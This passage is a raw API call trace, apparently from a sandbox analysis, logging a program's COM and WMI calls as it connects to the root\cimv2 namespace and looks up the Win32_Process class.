[0075.733] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0075.733] IUnknown:Release (This=0x111f638) returned 0x1 [0075.737] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x1bf77970) returned 0x0 [0075.737] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf77970, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0075.737] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf77970, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x1bf6f920) returned 0x0 [0075.737] WbemDefPath:IUnknown:Release (This=0x1bf77970) returned 0x0 [0075.737] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f920, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x1bf6f920) returned 0x0 [0075.738] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f920, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0075.738] WbemDefPath:IUnknown:AddRef (This=0x1bf6f920) returned 0x3 [0075.738] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f920, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0075.738] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f920, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0075.738] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f920, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x1bf779b0) returned 0x0 [0075.739] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf779b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0075.739] WbemDefPath:IUnknown:Release (This=0x1bf779b0) returned 0x3 [0075.739] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0075.739] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0075.739] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f920, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0075.739] WbemDefPath:IUnknown:Release (This=0x1bf6f920) returned 0x2 [0075.739] WbemDefPath:IUnknown:Release (This=0x1bf6f920) returned 0x1 [0075.739] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0075.739] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0075.740] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f920, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x1bf6f920) returned 0x0 [0075.740] WbemDefPath:IUnknown:AddRef (This=0x1bf6f920) returned 0x3 [0075.740] WbemDefPath:IUnknown:Release (This=0x1bf6f920) returned 0x2 [0075.740] WbemDefPath:IWbemPath:SetText (This=0x1bf6f920, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0075.740] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6f920, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0075.740] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f920, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0075.740] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f920, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0075.740] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0075.740] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0075.741] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0075.741] IUnknown:Release (This=0x111f638) returned 0x1 [0075.742] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x1bf77ab0) returned 0x0 [0075.742] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf77ab0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0075.742] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bf77ab0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x1bf77ad0) returned 0x0 [0075.743] WbemLocator:IUnknown:Release (This=0x1bf77ab0) returned 0x0 [0075.743] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf77ad0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x1bf77ad0) returned 0x0 [0075.743] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf77ad0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0075.743] WbemLocator:IUnknown:AddRef (This=0x1bf77ad0) returned 0x3 [0075.743] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf77ad0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0075.744] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf77ad0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0075.744] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf77ad0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0075.744] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0075.744] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0075.744] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf77ad0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0075.744] WbemLocator:IUnknown:Release (This=0x1bf77ad0) returned 0x2 [0075.744] WbemLocator:IUnknown:Release (This=0x1bf77ad0) returned 0x1 [0075.744] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0075.744] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0075.745] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf77ad0, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bf77ad0) returned 0x0 [0075.745] WbemLocator:IUnknown:AddRef (This=0x1bf77ad0) returned 0x3 [0075.745] WbemLocator:IUnknown:Release (This=0x1bf77ad0) returned 0x2 [0075.745] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6f920, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0075.745] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f920, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0075.745] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f920, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0075.745] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x1bf77af0) returned 0x0 [0075.745] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bf77af0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1bf8b7a0) returned 0x0 [0075.837] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf8b7a0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x1bf962a0) returned 0x0 [0075.838] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bf962a0, pProxy=0x1bf8b7a0, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0075.838] WbemLocator:IUnknown:Release (This=0x1bf962a0) returned 0x1 [0075.838] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf8b7a0, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x1bf962e0) returned 0x0 [0075.838] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf8b7a0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x1bf962a0) returned 0x0 [0075.838] WbemLocator:IClientSecurity:SetBlanket (This=0x1bf962a0, pProxy=0x1bf8b7a0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0075.838] WbemLocator:IUnknown:Release (This=0x1bf962a0) returned 0x2 [0075.839] WbemLocator:IUnknown:Release (This=0x1bf962e0) returned 0x1 [0075.839] CoTaskMemFree (pv=0x11f1370) [0075.839] WbemLocator:IUnknown:AddRef (This=0x1bf8b7a0) returned 0x2 [0075.839] WbemLocator:IUnknown:Release (This=0x1bf77af0) returned 0x0 [0075.840] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0075.840] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0075.840] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf8b7a0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x1bf962b0) returned 0x0 [0075.840] WbemLocator:IRpcOptions:Query (in: This=0x1bf962b0, pPrx=0x1bf77b50, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0075.840] WbemLocator:IUnknown:Release (This=0x1bf962b0) returned 0x2 [0075.840] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0075.840] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0075.840] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf8b7a0, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1bf8b7a0) returned 0x0 [0075.841] WbemLocator:IUnknown:Release (This=0x1bf8b7a0) returned 0x2 [0075.841] SysStringLen (param_1=0x0) returned 0x0 [0075.841] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6f920, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0075.841] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f920, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0075.841] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f920, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0075.841] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f620, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0075.841] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f620, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0075.842] IWbemServices:GetObject (in: This=0x1bf8b7a0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x11efe80, ppCallResult=0x0) returned 0x0 [0075.846] IWbemClassObject:Get (in: This=0x11efe80, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0075.847] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0075.847] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0075.847] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0075.847] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0075.847] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0075.847] IUnknown:Release (This=0x111f638) returned 0x1 [0075.850] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x1bf77af0) returned 0x0 [0075.851] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf77af0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0075.851] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf77af0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x1bf6f9e0) returned 0x0 [0075.851] WbemDefPath:IUnknown:Release (This=0x1bf77af0) returned 0x0 [0075.851] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f9e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x1bf6f9e0) returned 0x0 [0075.851] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f9e0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0075.852] WbemDefPath:IUnknown:AddRef (This=0x1bf6f9e0) returned 0x3 [0075.852] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f9e0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0075.852] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f9e0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0075.852] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f9e0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x1bf77b10) returned 0x0 [0075.852] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf77b10, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0075.852] WbemDefPath:IUnknown:Release (This=0x1bf77b10) returned 0x3 [0075.852] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0075.852] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0075.852] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f9e0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0075.852] WbemDefPath:IUnknown:Release (This=0x1bf6f9e0) returned 0x2 [0075.853] WbemDefPath:IUnknown:Release (This=0x1bf6f9e0) returned 0x1 [0075.853] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0075.853] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0075.853] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f9e0, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bf6f9e0) returned 0x0 [0075.853] WbemDefPath:IUnknown:AddRef (This=0x1bf6f9e0) returned 0x3 [0075.853] WbemDefPath:IUnknown:Release (This=0x1bf6f9e0) returned 0x2 [0075.853] WbemDefPath:IWbemPath:SetText (This=0x1bf6f9e0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0075.853] IWbemClassObject:Get (in: This=0x11efe80, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0075.853] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0075.854] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0075.854] IWbemClassObject:Get (in: This=0x11efe80, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, 